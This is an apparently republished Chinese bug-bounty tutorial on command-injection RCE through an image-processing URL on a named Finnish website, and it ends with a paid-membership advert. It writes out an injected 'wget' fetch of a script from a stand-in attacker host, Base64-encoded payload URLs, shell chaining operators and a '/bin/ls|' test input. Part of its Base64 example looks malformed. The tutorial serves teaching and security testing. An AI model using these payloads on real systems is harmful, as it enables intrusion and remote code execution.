通过命令注入来实现的RCE
2024-7-14 10:44:51 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

正常情况下

在没有遭受攻击的正常情况下,该网站的“/system/images”URL用于接收Base-64编码的字符串,这个字符串指向服务器上的某个图片文件,并且可能包含一些ImageMagick的convert命令的合法参数,用以处理图像(例如调整大小、改变质量等)。正常的请求看起来可能是这样:

https://toimitilat.lahitapiola.fi/system/images/BAhbCFsHOgZmSSJIMjAxNy8xMi8wMS8wOF8zNF8zNl80OTNfMDAxMDBfS2Fpc2FuaWVtZW5rYXR1XzFfanVsa2lzaXZ1M19MVF93LmpwZwY6BkVUWwk6BkZlcnRJIiktc3RyaXAgLWludGVybGFjZSBQbGFuZSAtcXVhbGl0eSA4MCUGOwZU

这里的Base-64编码部分解码后可能会是一个合法的路径加上ImageMagick的参数,如 -strip -interlace Plane -quality 80%,这些都是正常的图像处理命令。

受到攻击后

当受到攻击时,攻击者会通过注入恶意命令来修改或扩展Base-64编码的部分。攻击者可能会在合法的命令之后添加如 && 这样的bash命令连接符,随后是一些恶意命令,比如 wget 来下载远程恶意脚本或工具,或是其他能够进一步损害系统安全的命令。被攻击的请求示例如下:

https://toimitilat.lahitapiola.fi/system/images/BAhbCFsHOgZmSSJEMjAxNy8xMi8xNC8xNl8zNF8zNl80OTNfMDAxMDBfS2Fpc2FuaWVtZW5rYXR1XzFfanVsa2lzaXZ1M19MVF93LmpwZwY6BkVUWwk6BkZlcnRJIikgJiYgd2dldCBodHRwOi8vZXZpbC5leGFtcGxlLmNvbS9tYWxpY2lvdXMuc2ggOw==

在这个例子中,Base-64编码部分解码后可能会包含 -strip -interlace Plane -quality 80% && wget http://evil.example.com/malicious.sh, 其中 && wget http://evil.example.com/malicious.sh 是被注入的恶意命令

这种情况下的攻击可以导致服务器执行未经授权的命令,可能会导致数据泄露、服务中断或更严重的安全威胁。

攻击流程

环节1: 构造恶意Base-64编码字符串

原始命令: 在正常情况下,ImageMagick的convert命令可能被用来调整图片质量或格式,例如:

convert -strip -interlace Plane -quality 80 input.jpg output.jpg

这些参数会在Base-64编码后作为URL的一部分。

注入恶意命令: 攻击者在这些参数后添加恶意命令。例如,要添加一个下载命令:

&& wget http://evil.example.com/malicious.sh

这个命令尝试从指定的URL下载一个恶意脚本。

完整的恶意命令:

convert -strip -interlace Plane -quality 80 input.jpg output.jpg && wget http://evil.example.com/malicious.sh

Base-64编码: 攻击者将整个命令行字符串进行Base-64编码。假设编码后的字符串为 Q29udmVydCB-c3RyaXAgLWludGVybGFjZSBQbGFuZSAtcXVhbGl0eSA4MCBpbnB1dC5qcGcgb3V0cHV0LmpwZyAmJiB3Z2V0IGh0dHA6Ly9ldmlsLmV4YW1wbGUuY29tL21hbGljaW91cy5zaA==

环节2: 发送攻击请求

构造URL: 攻击者将编码后的字符串作为URL的一部分发送给服务器:

https://toimitilat.lahitapiola.fi/system/images/Q29udmVydCB-c3RyaXAgLWludGVybGFjZSBQbGFuZSAtcXVhbGl0eSA4MCBpbnB1dC5qcGcgb3V0cHV0LmpwZyAmJiB3Z2V0IGh0dHA6Ly9ldmlsLmV4YW1wbGUuY29tL21hbGljaW91cy5zaA==

环节3: 服务器执行命令

服务器处理: 服务器接收到请求,解码Base-64字符串,然后可能无意识地将其作为命令在服务器上执行。这就允许攻击者的恶意命令运行。

环节4: 潜在的后果

下载并执行恶意脚本: 如果服务器配置允许,下载的恶意脚本可能被执行,进一步损害服务器安全,如安装后门、窃取数据等。

总结与补充

这是一个典型的命令注入的问题

这里补充一些相关的知识点(主要是参考wstg)

基本的一些shell知识点:

cmd1 | cmd2 #只执行 cmd2
cmd1 || cmd2 #只有当 cmd1 执行失败后,cmd2 才被执行
cmd1 & cmd2 #先执行 cmd1,不管是否成功,都会执行 cmd2
cmd1 && cmd2 #先执行 cmd1,cmd1 执行成功后才执行 cmd2,否 则不执行 cmd2
$(cmd)  #当你需要将命令的输出作为另一个命令的参数时。例如:mkdir $(date +%Y-%m-%d),创建一个以当前日期命名的目录,例如2024-05-07

如何测试?

发现一些可疑的参数就可以去测试,这里举一些例子:

正常情况下:

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

注入命令之后:

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

参考

https://hackerone.com/reports/303061

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection.html


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495199&idx=1&sn=9f92812648bf61f9b7bf52671c8f6a9a&chksm=e8a5e47cdfd26d6a1a2c2872ba9f5dadf47759dcb32fc5f4874241ecfa10e1a2a5c6c308a604&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh